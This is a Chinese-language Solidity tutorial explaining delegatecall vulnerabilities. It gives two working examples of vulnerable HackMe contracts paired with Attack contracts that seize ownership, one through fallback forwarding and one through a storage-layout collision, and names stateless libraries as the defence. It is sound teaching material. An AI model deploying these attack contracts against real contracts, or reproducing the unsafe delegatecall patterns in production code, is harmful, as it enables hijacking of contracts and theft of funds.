欢迎订阅专栏:3分钟Solidity--智能合约--Web3区块链技术必学
如需获取本内容的最新版本,请参见 Cyfrin.io 上的Delegatecall(代码示例)
漏洞
delegatecall的使用相当复杂,错误的用法或理解可能导致灾难性后果。
在使用 delegatecall时,必须牢记以下两点:
delegatecall会保留上下文(存储、调用者等)。- 调用
delegatecall的合约与被调用的合约必须保持相同的存储布局。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
/*
HackMe是一个使用delegatecall执行代码的合约。
乍看之下HackMe的所有者无法被更改,因为合约内并未提供相关功能。但攻击者可以通过滥用delegatecall劫持该合约。下面让我们看看具体原理。
1. Alice 部署了 Lib 库
2. Alice 部署了 HackMe,并指定了 Lib 库的地址
3. Eve 部署了 Attack,并指定了 HackMe 的地址
4. Eve 调用了 Attack.attack()
5. Attack 现在成为了 HackMe 的所有者
发生了什么?
Eve调用了Attack.attack()。
Attack调用了HackMe的回退函数,并发送了pwn()的函数选择器。HackMe通过delegatecall将调用转发给Lib。
此时msg.data中包含pwn()的函数选择器。
这告诉Solidity调用Lib内部的pwn()函数。
pwn()函数将owner更新为msg.sender。
Delegatecall使用HackMe的上下文执行Lib的代码。
因此HackMe的存储被更新为msg.sender,而这里的msg.sender是HackMe的调用者,即本例中的Attack。
*/
contract Lib {
address public owner;
function pwn() public {
owner = msg.sender;
}
}
contract HackMe {
address public owner;
Lib public lib;
constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}
fallback() external payable {
address(lib).delegatecall(msg.data);
}
}
contract Attack {
address public hackMe;
constructor(address _hackMe) {
hackMe = _hackMe;
}
function attack() public {
hackMe.call(abi.encodeWithSignature("pwn()"));
}
}
这是另一个例子。
在理解这个漏洞之前,你需要了解Solidity如何存储状态变量。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
/*
这是之前漏洞利用的一个更复杂的版本。
1. Alice 部署了 Lib 和 HackMe,并将 Lib 的地址提供给 HackMe
2. Eve 部署了 Attack,并将 HackMe 的地址提供给 Attack
3. Eve 调用 Attack.attack()
4. 现在 Attack 成为了 HackMe 的所有者
发生了什么?
注意,Lib 和 HackMe 中的状态变量定义方式不同。这意味着调用 Lib.doSomething() 会改变 HackMe 中的第一个状态变量,而这个变量恰好是 lib 的地址。
在 attack() 函数中,第一次调用 doSomething() 会改变 HackMe 中存储的 lib 地址。此时,lib 的地址被设置为 Attack。
第二次调用 doSomething() 时,实际调用的是 Attack.doSomething(),在这里我们修改了 owner。
*/
contract Lib {
uint256 public someNumber;
function doSomething(uint256 _num) public {
someNumber = _num;
}
}
contract HackMe {
address public lib;
address public owner;
uint256 public someNumber;
constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}
function doSomething(uint256 _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
contract Attack {
// 确保存储布局与HackMe一致
// 这样我们就能正确更新状态变量
address public lib;
address public owner;
uint256 public someNumber;
HackMe public hackMe;
constructor(HackMe _hackMe) {
hackMe = HackMe(_hackMe);
}
function attack() public {
// 覆盖库的地址
hackMe.doSomething(uint256(uint160(address(this))));
// 传递任意数字作为输入,下面的函数doSomething()将被调用
hackMe.doSomething(1);
}
// 函数签名必须与 HackMe.doSomething() 匹配
function doSomething(uint256 _num) public {
owner = msg.sender;
}
}
预防技术
- 使用无状态库
Remix Lite 尝试一下